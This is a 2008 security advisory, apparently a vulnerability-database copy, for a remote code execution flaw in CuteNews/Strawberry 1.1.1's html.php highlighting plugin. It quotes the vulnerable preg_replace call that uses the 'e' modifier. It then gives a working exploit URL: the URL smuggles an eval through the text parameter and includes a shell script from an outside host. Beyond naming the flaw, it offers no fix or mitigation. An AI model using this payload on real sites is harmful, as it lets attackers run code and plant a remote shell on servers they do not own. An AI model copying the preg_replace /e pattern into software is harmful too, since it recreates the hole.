CuteNews 1.1.1 (html.php) Remote Code Execution Vulnerability

🗓️ 07 Jan 2008 00:00:00Reported by RootType
CuteNews 1.1.1 (html.php) Remote Code Execution Vulnerability discovered. Preg_replace with 'e' modifier allows code execution through the exploitable text parameter in the html.php file

                                                ----[&nbsp;CuteNews&nbsp;Remote&nbsp;Code&nbsp;Execution&nbsp;...&nbsp;ITDefence.ru&nbsp;Antichat.ru&nbsp;]

							Strawberry&nbsp;(CuteNews)&nbsp;Remote&nbsp;Code&nbsp;Execution
							Eugene&nbsp;Minaev&nbsp;[email protected]
				___________________________________________________________________
			____/&nbsp;&nbsp;__&nbsp;__&nbsp;_______________________&nbsp;_______&nbsp;&nbsp;_______________&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;\
			/&nbsp;.\&nbsp;&nbsp;/&nbsp;&nbsp;/_//&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;/__/&nbsp;&nbsp;&nbsp;/
			/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/___/
			\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
			/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//\
			\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;____________/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;__________//&nbsp;/__&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;/&nbsp;&nbsp;&nbsp;
			/\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\_______/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\________________/____/&nbsp;&nbsp;2007&nbsp;&nbsp;&nbsp;&nbsp;/_//_/&nbsp;&nbsp;&nbsp;//&nbsp;//\
			\&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;//&nbsp;/
			.\&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ITDEFENCE.ru&nbsp;Security&nbsp;advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;//&nbsp;/&nbsp;.&nbsp;
			.&nbsp;\_\\________[________________________________________]_________//_//_/&nbsp;.&nbsp;.
			
		Preg_replace&nbsp;with&nbsp;'e'&nbsp;modifier&nbsp;allows&nbsp;code&nbsp;execution
		&lt;?php

		$source&nbsp;=&nbsp;htmlspecialchars($text);

		$source&nbsp;=&nbsp;preg_replace(
		'/&amp;lt;!--(.*?)--&amp;gt;/es',
		'&quot;&lt;span&nbsp;style=\&quot;color:&nbsp;&quot;.$options[&quot;color&quot;][&quot;comment&quot;].&quot;;\&quot;&gt;&amp;lt;!--&quot;.
		str_replace(&quot;&amp;lt;&quot;,&quot;&amp;lt;&lt;!--&nbsp;--&gt;&quot;,
		str_replace(&quot;=&quot;,&quot;=&lt;!--&nbsp;--&gt;&quot;,
		&quot;$1&quot;)).
		&quot;--&amp;gt;&lt;/span&gt;&quot;',
		$source);&nbsp;&nbsp;

		?&gt;
		
		strawberry/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&amp;s=include('blackybr.nm.ru/shell');
		

----[&nbsp;FROM&nbsp;RUSSIA&nbsp;WITH&nbsp;LOVE&nbsp;::&nbsp;underWHAT?!&nbsp;,&nbsp;gemaglabin&nbsp;]
07 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1